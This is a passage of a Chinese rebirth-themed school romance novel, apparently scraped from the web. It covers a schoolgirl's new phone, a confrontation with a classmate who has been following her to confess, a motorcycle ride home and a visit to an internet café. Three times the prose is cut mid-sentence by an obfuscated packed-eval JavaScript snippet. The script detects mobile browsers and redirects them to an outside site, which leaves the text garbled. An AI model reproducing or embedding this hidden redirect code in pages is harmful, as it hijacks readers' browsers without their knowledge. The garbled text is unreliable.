“小姑娘,想要什么片子?” 老板嘴边刁一只烟,一开口就是老烟嗓了。 秦遇不假思索道,“我要《廊桥遗梦》、《马语者》、《云中漫步》,还有《英国病人》。” 她说的时候,老板瘦骨嶙峋的手指在装光碟的筐子里上下翻飞,每隔数秒就用两指夹出一片光碟,丢到她面前。 “《马语者》,《英国病人》,《廊桥遗梦》……”他停下动作,从身后的柜台上拿来一个厚厚的A4本,放在她面前,“《云中漫步》暂时没有,你把名字写下来,我给你刻盘,两天后来拿。” 秦遇低头看那本子,破破烂烂,边角卷起,纸张泛黄,上面密密麻麻写着电影的名字。她仔细看了看,最下面一行,写着《八部半》,忍不住道“你连《八部半》也能弄到?” 老板得意地说,“那当然,你想要什么片子,我都能弄来,市面上没有的,我给你刻。” 秦遇在《八部半》下面一栏的空白处,写下《云中漫步》,留了家里的电话号码,付钱离开。 一张盗版碟片十五块钱,一次买四张,对她来说不算小数目,不过,一切都值得。 晚上回到家,秦遇献宝似得把电影碟片捧给妈妈,“妈,这都是时下最好看的好莱坞大片,你晚上打毛衣的时候看,姚摇的妈妈都可喜欢看了。” “真的吗?那妈妈明晚就看。” 秦妈妈收下碟片,从手提包里翻出一个长方形的小纸盒,“妈妈也有东西给你,打开看看。” 秦遇接过纸盒,其实,纸盒上的“小灵通”三个大字,已经告诉了她答案。 她迅速拆开包装,一支银色小巧的小灵通出现在眼前。 “妈妈听说,你们同学中间已经有人开始用手机了,正好现在通讯公司有活动,新推出的这种叫小灵通,在城里用很方便,话费也合适。” 秦妈妈一五一十介绍着,“你看,这里的功能是……这样你有什么事,也方便联系妈妈。” 她当然知道小灵通是什么,上一世,她是在高二的时候得到了一支小灵通,没想到这次会提前到高一。 她把玩着手里的小灵通,黑白屏幕,九宫格按键,按键有点软弹,按下时会有淡绿色背光。 这种感觉十分奇妙,像是在游戏世界里捡到了珍贵道具,又像是重要的信物失而复得。 她记得,从前那只小灵通里,存了很多她和朋友的短信记录,可惜搬家的时候丢了,这一次,她一定要好好保存! “妈,我也想要。” 秦征“咚咚咚”跑过来,眼馋地盯着小灵通。 秦妈妈严词拒绝,“小学生用什么小灵通,就算我给你买了,也会被老师没收。” “你先好好学习,等你上了高中,自然会给你买。” 秦征的嘴角耷拉下去,过来拉起秦遇的袖子,“好秦遇,你让我玩玩呗,听说这上面能玩贪吃蛇,让我玩一会嘛?” 秦遇板起脸,“这都九点多了,你该睡觉了。” “就玩十分钟,行不行?求你了?” 秦遇看了他几秒,笑起来,“那好吧,借给你玩十分钟,别让妈妈看见,十分钟后,按时还过来。有借有还,再借不难,知道吗?” 秦征重重点头,“我一定信守承诺。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896959|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 说完,抱起小灵通,一溜烟跑回自己房间,关上了门。 此后半个多月,无事发生。 期中考试临近,大多数同学都在摩拳擦掌、挑灯夜战,誓要在升入高中后的第一次大考中,拿到一个好成绩。 除了后排那几个头铁的男生。 也不知道谁从家里搞来一台手提式收音机,能放磁带那种,左右两个黑漆漆的圆形音箱,像极了蜻蜓巨大的复眼。 一到晚自习的课间,他们就会开始放歌,把音量调到最大,引得隔壁班的同学都来围观。 要是老师或者年级主任来巡视,就会有放哨的同学蹬蹬蹬跑来,高呼一声“来了”,这边立刻关机、拔电源,把收音机推到课桌底下,再用书包盖上,一系列动作一气呵成,叫人叹服。 放歌这事,大多数同学还是欢迎的,毕竟,在枯燥冗长的自习间隙,听听流行歌曲,是难得的休闲放松。 因此,班里同学不约而同地遵守了“缄默法则”,并不向老师提及此事。 只有一个例外,班长蔡志高偷偷打过几次小报告。说来也怪,每次他打完小报告,都会出点意外,有一次是车子爆胎,有一次是踩到香蕉皮,还有一次,是为了争做吃午饭最快最干净的人,把自己噎着,被送到了校医务室。 如果说前两次可以阴谋论,最后一次只能是纯粹的意外,蔡志高的妈妈花钱请城郊的高人算了算,高人送她四个字,“谨言慎行”,此后,蔡志高再不敢打小报告。 十一月的第一个周五,九门功课全部考完,期中考试正式结束。 即将到来的周末,无疑是最轻松的。 同学们三五成群,结伴走出校园,商量着要去哪里玩,庆祝考试结束。 悲催的艺术生姚摇,晚上还有一节专业课考试,所以秦遇和她约在周六下午庆祝,一起去吃麻辣烫、吃刨冰、上网吧。 考完试,她想起有本杂志落在桌洞里,等拿完再出来,校园里的人已经走得差不多了。 她不紧不慢地迈出校门,往家走,宽大的校服口袋里揣着随身听,耳机里的音乐,正播到周杰伦的《以父之名》。 有点饿了,一抬头,前面正好是一家炸鸡柳的小摊,秦遇加快脚步走过去,就在这时,身侧有人拉了她一把。 她扭头,是穆逢。 “干什么?” 因为戴着耳机,她并不知道,自己这一声简直是平时几倍的声量。 穆逢皱皱眉,摘下她一只耳机,“听得这么投入,难怪叫你都没反应。” “过来这边,有点事。” 穆逢指指右手边,那里,在米线店的旁边,是一条短短的巷子,里面只有一盏路灯,常有调皮的男生聚在那里吸烟,秦遇从来没进去过,可是穆逢叫她过去,她没有一丝犹豫就跟了过去。 连她自己都没意识到,不知不觉中,这个红头发少年,已经成为值得信赖的人。 巷子里除了他们俩,再没有别人,秦遇疑惑地看向他,“找我来,到底什么事?要是没事,我就……” 要是没事,我就去吃炸鸡柳了,饿死了。 这句话还没说完,巷子口就出现了一个高大雄壮的身影,身影越来越近,走近了才看清,居然是大黑,大黑的身后还拖着一个人,那人瑟瑟发抖、低垂着头,看不清长相,只能从校服判断,是本校的学生。 “老大,堵住了,这家伙贼得很,差点让他跑掉。” 穆逢低低“嗯”了一声,下巴朝巷口一抬,大黑会意,立刻跑过去。 穆逢慢慢走到那低垂着头的男生面前,忽然一把揪住他的衣领,几乎把他整个人提起来。 在这一瞬间,秦遇看清了那男生的脸,居然是他们的班长—蔡志高。 穆逢愤怒的声音响起,回荡在巷子里,“蔡志高,你给我说清楚,你为什么跟踪她?!” 15. 乌龙 “我,我,我没有跟踪她……” 蔡志高结结巴巴地说着,眼神躲闪,刘海被汗水浸湿,贴在额头上,鼻梁因为出汗,在昏黄路灯下发着光,眼镜滑到了鼻梁中间。 穆逢怒气更盛,“刚才你尾随她回到教室,接着又跟她走出校门,一直跟到刚才的路口,因为怕被她发现,你一会躲到路灯后面,一会拐进路边的小店,要不是刚才大黑拦着,你是不是又要一路跟她到家?” 一个“又”字,让秦遇心头一沉,“这是什么意思?他之前就跟踪过我?” 穆逢把蔡志高往墙上重重一推,蔡志高的手得了自由,立刻扶了扶就要滑到嘴边的金丝边眼镜,他低着头,不说话,也不看他们。 穆逢站在他面前,高大身形把他堵得严严实实,阻隔开他和秦遇。 “上个星期三,体育课她去洗手间,你偷偷摸摸跟踪她到女生厕所外面,后来,幸亏她的朋友姚摇过来,你才没有得逞!” “上上个星期四,你跟踪她到她家的巷子口,躲在路灯后面的阴影里,正好她的邻居徐伟民路过,和她一起回家,你才不得不离开。” 穆逢每说一条,秦遇的心就凉一分,她站在那里,像是全身被定住,连抬一抬脚,都觉得滞重不堪。 她成了被变态男尾随而不自知的人? 面前这人,还是她认识的蔡志高吗? 在她看来,他虽然不讨喜,也不过是个眼里只有成绩,又爱跟老师打小报告的普通高中生,怎么私底下还有这样阴暗的一面? “蔡志高,我当你是个只会念书的书呆子,没想到你还有这样的龌龊心思。今天你必须给她一个交待,否则,我会叫你爬着出这条巷子。” 穆逢握了握拳,落在蔡志高眼中,不啻于无言的恐吓。 “我……我……我真没有跟踪她……” 蔡志高哆哆嗦嗦地说着,因为紧张,整个人都在发抖。 “不,我有在跟踪她,可是,我不是为了跟踪她,我是为了,为了,为了……” 蔡志高连续重复了好几次“为了”,就是说不出个所以然,穆逢忽然抬起一脚,直冲他面门而来。 蔡志高吓得抱住头蹲到地上,嘴里疯狂地叫喊着“不要打我,不要打我,我都说,我都说!” “哐!” 伴随一声闷响,蔡志高刚刚靠着的墙面旁边,留下了穆逢一只鞋印。 高度和他的脸齐平。 秦遇上前一步,拦住穆逢,对他摇了摇头。 吓唬到他这个程度,已经可以了, “让他说。” 她把穆逢往后拉,穆逢脸上怒意未消,却还是任由她拉走。 “你在这里站着,我去问他,反正你人就在这里,他也不敢怎么样,是不是?” 这句话中包含的肯定和信任,极大地疏解了穆逢心头的烦躁,他看着她,目光中闪着关切,“刚才大黑检查过了,他身上没有什么凶器。” 秦遇夸他,“你考虑得真周到。” 穆逢一怔,一丝潮红慢慢爬上耳后,他不自然地别开眼。 秦遇走到蔡志高面前,拉着他的袖子拽他起来。 “蔡志高,像个男子汉一样站起来,说清楚,你跟踪我到底是为什么?” 蔡志高站起来,后背紧紧贴着墙,好像如果没有这堵墙,他的身体就要滑下去。 他依然低着头,不看秦遇,右手却伸到校服口袋里摸索,足足一分钟之后,他终于把手掏出来,手里紧紧握着一张薄纸片一样的东西。 他把手往前伸,伸到秦遇面前,翻转手腕,让纸正面朝上。 那是一只皱巴巴的信封,因为在兜里揣了很久,又被汗水浸湿,边角已经泛起毛边。 信封上写着,“秦遇同学(收)”几个大字。 蔡志高低头嗫嚅着,“我承认,我确实跟踪了你好几次,不过,我并不是想做坏事,我对你也没有恶意。” “我,”他猛然抬起头,看了她一眼,又迅速低下头。 “我,是想把这个给你。” 他那张被穆逢吓得青白的脸,一瞬间涨得通红。 秦遇忽然明白过来。 “什么东西?” 穆逢迈着长腿走过来,也看见了蔡志高手里的那封信。 一股复杂的滋味涌上心头。 “我、我一直都想找个合适的机会,把这封信交到你手里,可是,时机总是不对。” “我这几天跟着你,只是想找一个僻静的,又只有你一个人的地方,把这封信交给你。” 巷子里忽然安静下来,夜风卷下几片枯黄的树叶,飘落在他们脚边。 “他妈的,不管为了什么,你的行为已经吓到她了,你知不知道?” 穆逢一声怒斥,蔡志高吓得一哆嗦,连连点头。 “我知道了我知道了,可我真没想吓唬她,我、我是真得想表白,要不然,你们拆开信看吧,看看我说得是不是真的?” 秦遇无奈地捂了捂眼睛。 她什么时候被吓到了?她怎么不知道? 在今晚之前,她对蔡志高的所作所为,压根全无察觉。 蔡志高低下头,居然真开始拆信封。 穆逢的眉头越皱越深,眼看就要压不住怒火,秦遇上前一步挡在他身前。 “不用拆,蔡志高,既然是一场误会,你走吧。” “等一下!” 穆逢出声制止,从她身后绕过来,站到蔡志高面前。 他比他高了足足一头,浑身散发着危险气息,蔡志高忍不住缩了缩脖子。 “你为什么给她写信?” 蔡志高有些意外地抬起头,“当然,当然是因为我喜欢她。” 穆逢冷冷嗤笑一声,一双眼睛死死盯着他,“你,喜欢她?” 话里充满了不敢置信和一丝嘲弄。 蔡志高仿佛找回了一点自信,回答道“是,我是喜欢她,她长得好看,成绩又好,和我正好相配。” 说着,像在课堂上回答问题一样,又推了推眼镜,开始分析起来。 “秦遇是语文课代表,我是班长,从职务上来说,我们正好相配,她配得上我,足以担任我的副手。从成绩来说,班里前十名中只有三个女生,她正好是其中之一。从长相来说,这三个女生里,刘恋太高,王晓雅太胖,只有秦遇,高矮胖瘦刚刚好。” 秦遇嘴角抽搐了一下。 活了两辈子,头一次听到这么炸裂的表白。 蔡志高话里话外,都透露着一种在商店里挑选商品的味道。 秦遇觉得受到了侮辱。 语文课代表和班长、班级前十名内部解决、不能比他高、不能比他胖…… 这是什么配平式表白? 穆逢的表情也很奇怪,像是夹在愤怒和失笑之间,进退两难。 秦遇向前一步,走到蔡志高面前,双目直视他。 “班长大人,谢谢你的抬举,不过,对我来说,你太矮了,我喜欢高的。” 蔡志高没想到自己会被拒绝,一瞬间有些失落,可是数秒后,他就重新树立起自信,“我觉得,你不是这么肤浅的女生,你知道的,男人的才华比身高更重要,”他循循善诱,“你有没有听过一句话,smartisthenewsex.” 秦遇无语,一字一句说,“我物理不好,期中考试成绩出来你就会知道,我的名次会滑落到十名开外,配不上你!” 蔡志高皱眉,“你怎么知道?” 秦遇满不在乎地答“物理好几道题我都不会,我估分了,及格线上下。” 蔡志高露出苦恼的表情, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896960|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喃喃道“这倒是个麻烦事,你要是进不了前十名,我妈肯定不同意……” “有了!” 他忽然大喊一声,右手握拳在左手掌心一击。 “我可以给你补课。” “不用!” “不用!” 秦遇和穆逢面面相觑,没想到彼此异口同声,就连表情咬牙切齿的程度也差不多。 还是秦遇先开口,“我们走吧,我实在不想跟他废话。” 穆逢对她一点头,转向蔡志高,眼里带着嫌弃和怒意,“警告你最后一遍,离她远一点,再有下次,我一定揍得你爬不起来。” 说完,和秦遇一起向巷子口走去。 没走几步,身后传来低低的啜泣声。 “等一下,我去看看他怎么了。” 穆逢本想说不要管他,可是秦遇已经小跑过去,他只好不情不愿地跟上。 蔡志高摘下了眼镜,正在抹眼泪。 秦遇耐着性子问,“你哭什么?我都看见了,他刚才没打你。” “我知道,我不是被打哭的,我是……表白被拒,我的人生,头一次尝到失败的滋味。” 说到这里,蔡志高索性失声痛哭。 这已经是今晚秦遇第三次深呼吸了,她咬咬牙,撸起袖子。 穆逢诧异地看着她,“你要干什么?” “我想扇醒他。” 穆逢终于忍不住笑出声来,一边笑,一边走向前,“打人这种事,还是我比较在行。” 在巷口站了二十分钟,大黑劝退了三个试图溜进来抽烟的初中生,轰走了一个想在墙根撒尿的大爷,又拦住了一对谈恋爱的中学生,这会开始觉得有点无聊。 奇怪,里面没有他想象中激烈的打斗声,除了最开始老大吼的那两嗓子,后来连说话声都是轻声细语的,害他想听也听不见。 更没想到的是,最后,三个人居然十分和平得一起出来,秦遇走在最前面,脸上看不出什么表情,老大在她身边,脸色很臭,蔡志高走在最后,低着头在抹泪。 大黑也跟了上去。 秦遇停在炸鸡柳的小摊前,她早就饿得前胸贴后背,其他三人也跟上来,把小摊团团围住。 “老板,来一份炸鸡柳。” “来了。” 精瘦的老板嗓门很高,从托盘里抓一把鸡柳放到秤上,称好重量后,投入沸腾的油锅里。 “滋啦”一声,沾着面包糠的鸡柳条在油锅中迅速膨胀,表面变成微微的金黄色,肉香被逼出来,混着油香,往鼻孔里钻。 翻面、控油、装袋,一份鸡柳很快就做好。 秦遇接过那袋鸡柳,递给蔡志高。 “别哭了,请你吃鸡柳。今天我们冤枉了你,算是给你压惊,行不行?” 蔡志高接过鸡柳,嘟囔了一声“谢谢”,就不客气地吃起来。 “我的呢?” 穆逢的声音从身后响起,凉凉的。 秦遇有点诧异,她被蔡志高哭得心烦意乱,觉得他又可气又可怜,只想让他快点闭嘴。 穆逢指指蔡志高,“我把他揪出来,没有功劳也有苦劳。” “行,你辛苦了,给你要个超大份,行不行?” 穆逢满意地“哼”了一声。 小摊上的灯光打在他的睫毛上,在他脸上投下小扇子一样的暗影,他薄薄的嘴唇微微抿起,分明的下颌线,不知为何带上了几分孩子气。 看着这样的他,一旁的大黑露出复杂的表情。 刚刚那个像三岁孩子讨糖吃的行为,是穆逢吧?是他们球队的老大吧? “对了,大黑,也给你要一份吧?”秦遇转头问他。 穆逢斜了他一眼,大黑咳嗽一声,“我不喜欢吃这个,我去吃烤肠。” 说完抬腿就走。 16. 头盔 初冬的夜晚寒意逼人,热乎乎的鸡柳下肚,身体暖和了不少。 穆逢从隔壁的小摊上,买了几袋温热的豆浆,拿过来分给大家。 三个人就着小摊上的灯光,一人一包鸡柳吃起来。秦遇站在中间,她左边是穆逢,右边是蔡志高,坦白说,在此之前,她从没想过,他们会以这样的组合出现。 大黑买了烤肠,又去买炸臭豆腐,看样子一时半会过不来。 就在这时,音乐响了起来,简单的和弦,不断重复,一听就是这个年代的手机铃声。 穆逢从口袋里掏出手机,看了看屏幕上显示得的“老头子”三个字,不耐地皱了皱眉,果断按掉。 秦遇瞟了一样,看见他的手机的弧形曲线,圆润可爱得像只蛋壳。 “哇哦,这可是今年的机王,听说要四千多块。”蔡志高一边嚼着嘴里的鸡肉,一边出神地盯着穆逢的手机。 秦遇不敢相信,“四千多块?你确定?”她记得,这时候普通人的月薪也不过千把块钱。 蔡志高肯定地点点头,“当然,我爸的领导就有一个,上次我跟我爸去他家送礼,看见他拿着……” 穆逢摁断来电,随手把手机放回兜里,抬头却看到秦遇和蔡志高都盯着他看,确切地说,是盯着他的手,还不停地谈论着什么。 “你们俩在聊什么?” 秦遇自然地说出来,“在聊你的手机,挺可爱的。” 穆逢点点头,视线移到蔡志高身上时,就带了几分审视和警告意味。 蔡志高缩了缩脖子,往秦遇身后站了站,用胳膊肘碰了碰她,小声嘀咕着,“能用这样的手机,他家一定非富即贵。” 秦遇不悦地皱起眉,当着穆逢的面,这样议论他的家境,非常不妥。 蔡志高咽下嘴里的鸡肉,舔了舔沾着调料粉的嘴角,干巴巴地问,“你是不是看他有钱,所以才和他玩?” 秦遇一滞,只觉得身体像是被冻住,数秒后才恢复生机,与此同时,一股无名火蹭得蹿上心头。 她猛得转身,恶狠狠地瞪住他。 蔡志高莫名觉得有些不对劲,又不知道哪里不对,下意识想往后退一步,可是后面就是摊主的小推车,根本退不得,他只能身子后仰。 秦遇往前迈了半步,逼视着他,她比他矮半个头,是仰着头看他的,可是气势上却十分凌厉。 足足半分钟之后,她一把抢过他手里剩下的鸡柳,咬牙切齿地说,“干你屁事!” 蔡志高睁大了眼,结结巴巴地说,“你,你,你一个女孩子,怎么能说脏话?” 秦遇气结,骂道,“滚,以后别让我看见你!” “我警告你,你再尾随我,我就报警,告你爹妈!” 她的声音很大,惹得周围的摊主和食客都看过来,蔡志高最怕丢脸,立刻落荒而逃。 秦遇心头余怒未消,捏着从蔡志高手里夺来的半包鸡柳,一脸嫌弃地走到垃圾桶旁,狠狠丢了进去。 “以小人之心度君子之腹!” “浪费我的钱!” “丢了也不给你吃!” 一转身,差点和站在他身后的穆逢撞个满怀,穆逢关切地看着她,表情里带着一丝笑意。 她不悦地瞪他一眼,“笑什么?” “没什么,我在想,第一次看见你生气,第一次听见你骂人,感觉上……”他故意拉长了最后一个字,不说出接下来的话。 秦遇果然上钩,“感觉上怎么样?” 穆逢双手掐腰,抬头看了看蓝丝绒一样的星空,认真思索了几秒,果断说道,“感觉上,气势是有了,但你好像不会骂人,除了一个‘滚’字,再没有别的了。” 秦遇哼了一声,“是,我不会骂人,你最会,行了吧?” 穆逢摇摇头,笑得肆意,他握了握拳头,“我从来不骂人,都是用打的。” “要不,我现在就把他揪回来,揍一顿,给你解气,行不行?” 少年的笑容意气风发,一向锋利的眉眼变得柔和,深褐色的晶亮眼珠,映出头顶闪烁的星光。 秦遇有一瞬间的恍惚。 下一瞬,她找回自己的意识,轻咳一声,淡淡道,“那就不用了,我已经骂过他了,就这样吧。” “我诅咒蔡志高,一辈子没朋友。” 清冷的夜色中,响起穆逢的笑声,秦遇想,他最近似乎笑得有点多。 不知是谁说过“化悲愤为力量”这句话,但在秦遇这里,化悲愤为食欲显然更合适。 赶走蔡志高后,她又去吃了一份酱肉米线,海带结、豆扣、肉片、青菜,各种配菜加得足足的,大快朵颐、无比满足。 从米线馆里出来的时候,心里的不快早就抛到爪哇国了。 伴着一声轰鸣,穆逢骑着他的摩托冲到她面前,他一条长腿支在地上,冲她抬一抬下巴,“上车,送你回家。” 原来刚才他吃了一半就跑出去,是为了骑摩托。 气温骤降,她只穿了一件薄棉服,早晨跑着来学校,本来想着晚上也走回去的,不过,这会的气温让她觉得冷得发抖,走回去显然是活受罪。 她决定从善如流地接受他的建议。 走下台阶,跨过路边的绿植,走到他车前,穆逢递给她一个粉色的头盔。 秦遇有些吃惊,这头盔看着有点眼熟,她迟疑了一下,接过头盔,想起来,她从照相馆洗完照片出来的那天,穆逢就拿着这个头盔。 “这是……” 穆逢以为她介意这是别人的头盔,解释道,“放心,是新的,没人戴过。” 她“哦”了一声,慢吞吞地解开搭扣,把头盔戴上。 果然是新的,透明罩上还贴着一层保护膜,她撕掉薄膜,视线立刻变得清晰。 “抱紧我。” 穆逢的声音从头盔下传来,闷闷的。 她没说话,伸出双手,搂住他的腰。 摩托车停在巷口,秦遇跳下车,摘下头盔还给他。 穆逢把头盔随意玩车身侧面一挂,把手伸向她,“借我用下你的小灵通。” “你不是有手机吗?为什么还要用我的?” “给我就是了,很快的,马上就还你。” 秦遇低头,从外套口袋里掏出小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896961|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵通,按下解锁键,递给他。 穆逢修长的手指按下一串数字,接着,按了拨通键。 很快,熟悉的和弦铃声响起,穆逢掏出自己的手机,“好了,这下,我知道你的号码了。” 穆逢把小灵通还给她,“我已经把我的号存上了,有事给我打电话,发信息也行。” 秦遇低下头,小灵通淡绿色的小小屏幕上,显示着通话记录,最上面一条,是“穆逢” 他倒是毫不客气。 秦遇向来不喜欢别人乱动自己的东西,不过,这一次,她对穆逢的行为,却好像没什么反感。 穆逢催促她,“天冷,别在这里干站着,快回去!” 秦遇冲他点点头,双手揣到口袋里,往巷子里走。 这条巷子里有五栋楼,一列排开,她家在最后一栋,快走到尽头时,她回头看了看,巷口朦胧的灯光下,一人一车的剪影清晰可见。 他还没走。 巷口忽然传来喇叭声,摩托前面的红灯闪了两下,随即又熄灭,秦遇明白了,这是穆逢在跟她打招呼,于是她伸长手臂,冲穆逢用力挥了挥手。 也不知道他能不能看见。 手还没落下,对面又响了两声,伴随着灯光闪烁,不过这一次的声音比较短促,像是在催她回家。 黑暗中,秦遇的嘴角不由自主地扬起,她转过身,脚步轻快地往家走。 已经快10点了,秦征还没睡,等着她回来玩小灵通上的贪吃蛇。 秦遇把小灵通给他,见妈妈没在客厅,打算去卧室找她,刚走到卧室门口,就听到妈妈打电话的声音。 “又有饭局?要很晚是吗?” “好,我知道了,你少喝点,门没反锁……” 妈妈的声音里,透着浓浓的失落。 这么多年来,她始终把老公和孩子放在自己之上,为老公活、为孩子活,却很少认真想想,自己到底需要什么。 她是十足的贤妻良母,温顺媳妇,要说这辈子对不起谁,大概只有她自己。 想到这里,秦遇敲了敲卧室的门,推门进去。 “妈,我回来了。” 她挽起妈妈的手臂,头在妈妈肩上蹭了蹭,“妈,咱们一起看电影吧,上次给你买的碟片,你还没看呢。” “唉,哪有时间?对了,你弟弟明天要吃黄豆猪手,我得去把黄豆泡上。” 秦遇把妈妈拉到客厅,按着她坐在沙发上,“您看电影,我去泡黄豆。” 秦遇把碟片塞到DVD里,按下播放键。 “明天就周末了,您就好好歇歇,这两天我们买着吃,您呢,就干点自己想干的,躺一天也行,出去玩也行,去看姥姥也行,我手里还有不少饭钱,小征就交给我。” “可是……” “哎呀,妈!”秦遇作出嗔怒的样子,“学生有周末,当妈妈也得有休息的时间,以后就这么办。” 妈妈犹犹豫豫地说,“那,我明天去你李姨那边一起做十字绣,你和秦征吃饭……” 秦遇大手一挥,“我带他去楼下吃馄炖,他最爱吃小馄炖,一准高兴。” 17. 偶遇 周六这天,秦遇睡到日上三竿才起来。 这一觉睡得十分满足,她揉着眼睛,趿着拖鞋走到衣柜前照镜子,看见镜子里的少女头发蓬乱,气色却好得不得了。 虽然是同一张脸,可这张脸气血充盈、神采奕奕,和多年后做社畜的黯淡神色完全不同。 赞美生命,赞美重生,赞美一切神明,如果有神明的话。 秦征一直竖着耳朵听她房里的动静,一听她起来了,立刻过来敲门,隔着门板热切地问,“秦遇,该让我玩贪吃蛇了,你说好了,每天让我玩20分钟的。” 秦遇打着哈欠拉开卧室门,看见秦征笑得比阳光还灿烂的脸。 “你作业写了多少了?我是答应了每天给你玩20分钟,不过要把当天的作业写完才行。” “写完了,写完了,我七点就爬起来写了。” 客厅墙上的钟表显示,现在已经快十点半了,她把小灵通拿来,解锁后递给秦征。 “妈妈呢?” “妈妈刚出门,给你留了饭在锅里。” 秦征抱着小灵通跳进沙发,投入到游戏里。 锅里温着豆浆、茶叶蛋、咸肉粽,秦遇简单洗漱后,吃掉早餐,埋首在《指环王》里。 大考过后的周末最惬意,因为不留作业,可以尽情放松。 上次看到哪里了? 对,是梅里和皮平遇见树胡子,喝了树人特有的神奇水,这让他俩后来长得比普通霍比特人都要高,然后坐在树胡子的肩膀上,和法贡森林所有的树人们,一起攻下了萨鲁曼的艾森加德。 中午的时候,姐弟俩一起去楼下吃了馄炖,秦遇发现,随着重生回少女时期,她的食欲也明显见涨,大概是因为还在长身体。 两个人点了两份馄炖,两个炸猪排,为了补充叶绿素,秦遇又让老板炒了个青菜,逼着秦征吃下去。 秦征一边痛苦地咽下青菜,一边吐槽,“秦遇,你现在管得越来越多了,以前你才不会管我吃不吃菜。” “闭嘴,好好吃菜,今天让你多玩一次贪吃蛇。” “真的吗?”秦征的眼睛亮起来。 秦遇点点头,“那当然。” 秦征把青菜拉到自己面前,“吃,这盘我都吃了。” 下午三点,秦遇和姚摇约好在网吧碰面。 秦遇提前到了五分钟,刚停好自行车,就听见姚摇喊她的名字,抬头一看,姚摇正站在楼梯上冲她挥手。 艺术生一向爱美,且审美在线,姚摇今天穿了一件黑色反皮毛短款外套,毛茸茸的领子和白色绒毛帽互相呼应,百褶短裙在膝盖上面,一双黑色短皮靴上装饰着一圈水钻,在阳光闪闪发光。 她把头发编成数十条细细的小辫子,用彩色发绳束上,发间点缀着几何图案的彩色迷你发卡。 这是千禧年间最IN的少女装扮,那时候,她们都喜欢从日杂上学习穿衣和搭配。 在她身后,“地球村网吧”白底蓝字的招牌十分显眼。 秦遇脚步轻快地跑上楼梯,铁制楼梯的台阶有些生锈,踩上去发出哐当哐当的声响。 “快来,遇遇,我已经跟老板说了,让他给我们留两个好位置。” 地球村网吧是彼时城中最好的网吧,开在最繁华的商圈的二楼,里面足有五六十台电脑。 姚摇显然已经来过,带着她轻车熟路地进门,左拐,直达前台。 一进屋,光线暗下来,数十台电脑同时运转发出的热度,让屋里的空气比外面高了几度,秦遇觉得热,脱下棉服外套。 柜台里面,瘦高个的老板顶着一头卷发,正在屏幕前打游戏,见她们过来站起身。大概是因为不怎么出门,他的脸白得发青,一双手瘦骨嶙峋,让她想到古堡里的吸血鬼。 “两个无烟区位置,对吧?玩几个小时?” 姚摇说,“先按3个小时算吧,多了再补。” 老板把手边的计算器按得飞起,“15块一小时,两个人3小时一共90,给两位美女打个折,80就行,记得多带同学来玩。” “谢谢老板。” 姚摇和秦遇开心地对视,秦遇正想掏钱,被姚摇按住。 “说好了,我请你,你忘了吗?上次你帮我给穆逢送情书来着。” 秦遇还真是把这事给忘了,“80块可是大数目,我怕你吃不消。” “吃得消,我哥偷偷给我不少零花钱呢。”姚摇说着,从装饰着蝴蝶结的棕色皮夹里抽出一百块,递到老板手里。 姚摇家境殷实,哥哥在美国留学,时常给她寄来些新鲜玩意。 老板接钱、找零,在登记薄上记下时间,抬手指指后面齐天花板高的壁橱,里面满满当当塞得都是零食饮料,最多的就是泡面和可乐。 “想要什么吃的喝的,随时过来拿,出门时一起结账。本店提供热水泡面服务。” “彭六,带两位美女到E区6、7座。” “哎,来了。” 一个精瘦的、二十岁左右的小伙子不知从哪里冒出来,带她们到各自的座位。 到底是头部网吧,在小网吧还用着方形台式机的时候,这里已经全部换成了轻薄的宽屏,桌面还是经典的蓝天白云加绿草地,像素略低,让她不太习惯。 视线在屏幕左侧的图标中扫视了一遍,嗬,千千静听,暴风影音,这些早就消失在生活中的老古董,此刻活生生地出现在面前,竟让她有种泪目的感觉。 坐在旁边的姚摇,一把扯过她的胳膊,“小遇,来,我给咱俩申请了企鹅账号,这是你的,初始密码在这里……” 这一幕,真是昨日重现了。 秦遇盯着手里这片巴掌大的纸条,上面一行是她一直在用的企鹅号,下面是姚摇给她设得初始密码。 “我告诉你,只要登上这个号,你就能和全国天南海北的人聊天、交朋友,厉害吧? “真的吗?我现在就试试!” 秦遇就像第一次听到这件事一样,露出惊讶又兴奋的表情,双击小企鹅图标,在条形框里输入账号、密码。 网速比较慢,她耐心等了十几秒,伴随着熟悉的滴滴声,登录成功。 几乎是刚登上的瞬间,头像就疯狂地闪烁起来,点开一看,都是打招呼的消息,且大多数开场白都是那句“你是GG还是MM?” 秦遇忍不住笑出声,一想到周围都是上网的人,立刻捂住了嘴。 旁边,姚摇已经和新交的网友聊得火热。 秦遇环顾四周,发现来上网的大多是青少年,他们在这里主要 